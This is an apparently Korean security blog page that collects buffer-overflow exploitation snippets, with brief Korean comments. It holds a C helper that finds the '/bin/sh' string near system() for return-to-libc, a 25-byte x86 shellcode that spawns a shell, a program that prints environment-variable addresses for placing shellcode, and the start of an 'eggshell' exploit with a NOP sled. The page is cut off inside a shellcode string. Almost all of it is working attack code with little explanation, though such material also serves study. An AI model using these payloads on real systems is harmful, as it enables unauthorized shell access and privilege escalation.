InfoSec & Hacking & MIS

12345678#include int main(){ long shell = ; //system function address while(memcmp((void *)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh/\" : 0x%x\n",shell);}Colored by Color Scriptercsshell 변수 부분에 system함수의 주소를 적는다.

123//25바이트 쉘코드\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 Colored by Color Scriptercs

123456789#include #include int main(int argvc, char* argv[]){ printf("%p\n", getenv(argv[1])); return 0;} Colored by Color Scriptercs인자로 넘긴 환경변수의 주소를 출력해주는 소스코드이다.

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566#include #define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512#define DEFAULT_EGG_SIZE 2048#define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xd..